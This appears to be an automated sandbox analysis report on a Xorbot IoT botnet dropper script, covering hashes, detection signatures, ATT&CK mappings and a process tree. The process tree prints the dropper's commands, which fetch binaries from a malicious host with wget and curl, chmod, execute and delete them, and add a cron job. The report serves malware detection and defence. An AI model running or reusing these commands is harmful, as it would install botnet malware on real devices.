xorbot | d2740e7d91004ad14804a2ea623ddad5252b5b7e8113fa1d66fbd8d2cc591a70

Analysis

max time kernel
149s
max time network
148s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
13/02/2025, 04:32

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General

Target
bins.sh
Size 10KB
Sample250213-e514pstmgx
SHA256 d2740e7d91004ad14804a2ea623ddad5252b5b7e8113fa1d66fbd8d2cc591a70
MD5 6cbcf957e7aa0fc282cb8cfd5e3cbfdb
SHA1 7bcf7535cf91531df6bd4499569912a0b4bf0fc0
SHA512 566a39a48538169df5e0ec0aaf0724f70f07e0916c1b975a4daf987574a54af9b6e55dbe446b6a1d3bc1d9cb74b2bfeea40177f21ff13673eba9008b9b1be553
SSDEEP 192:WyNuHhJm2XE4o2uyxwIhzuyxwIJm2XE44:WyNuHhy2uyxwIhzuyxwIS
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-2.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
792	chmod
806	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ	793	bins.sh
/tmp/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ	807	bins.sh

Renames itself 1 IoCs

pid	Process
808	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.xZhxNN	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/43/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/607/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/5/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/23/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/111/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/172/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/13/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/22/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/28/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/42/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/288/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/659/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/3/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/20/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/138/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/206/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/314/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/594/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/29/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/101/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/17/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/271/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/813/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/8/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/275/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/657/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/814/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/815/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/202/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/15/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/170/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/307/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/615/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/7/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/304/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/2/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/4/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/610/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/805/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/21/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/272/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/19/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/816/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/11/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/18/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/157/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/614/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/658/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/27/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/41/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/10/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/26/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/9/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/24/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/359/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/14/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/16/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/112/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
File opened for reading	/proc/660/cmdline	kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ

System Network Configuration Discovery 1 TTPs 7 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
664	wget
738	curl
770	busybox
796	wget
797	curl
803	busybox
817	wget

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ	wget
File opened for modification	/tmp/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ	wget
File opened for modification	/tmp/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:660
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:662
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:664
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:738
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  2⤵
  - System Network Configuration Discovery
  PID:770
- /bin/chmod
  chmod 777 xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  ./xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  2⤵
  PID:793
- /bin/rm
  rm xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  2⤵
  PID:795
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:796
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:797
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  2⤵
  - System Network Configuration Discovery
  PID:803
- /bin/chmod
  chmod 777 kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  ./kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:807
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:809
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:810
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:811
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:812
- /bin/rm
  rm kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  2⤵
  PID:814
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
  2⤵
  - System Network Configuration Discovery
  PID:817

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ

Path /tmp/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
Size 141KB
SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
MD5 3ca8decdb1e52c423c521bfff02ac200
SHA1 8621ecd6807109b8541912ad9e134f6fb49bfd48
SHA512 b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
SSDEEP 3072:h2mQRJQqJ3OuMP2Q72katWmUd4jEJ/SL06gO0NmmytHHQRkLCalY:h2Y17zaPnEJ/SL16mmytHHQRkLplY
MD5 SHA1 SHA512 SSDEEP

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xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ

Path /tmp/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
Size 98KB
SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
MD5 5141342d0df8699fa32a6b066a0c592e
SHA1 8157673225bd5182f16215e2aa823a25ca2d4fbc
SHA512 d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
SSDEEP 3072:lxvAwSaWFr5Ryrfb3jb9RxqgRfEma1b5wdL35sPX:32FrIT3/9jqgmma1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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tmp.xZhxNN

Path /var/spool/cron/crontabs/tmp.xZhxNN
Size 210B
SHA256 1e37c8535eb95cc8fa6f415cf578739395e5b95714f30236e5dbb2f2a257de04
MD5 a222975eda2e3e7dacaea5ac3ec92e5f
SHA1 532af6faf94943cad2d255787f7cc74dae9cd396
SHA512 4eaa4331b50c85aa2639c479f6ce256a0c83ba146704a7ab5fd51f8b2ed1286651f2ae133494d0d47befc92923b5f700fbfe91b258ca0cf65525f96e73df8594
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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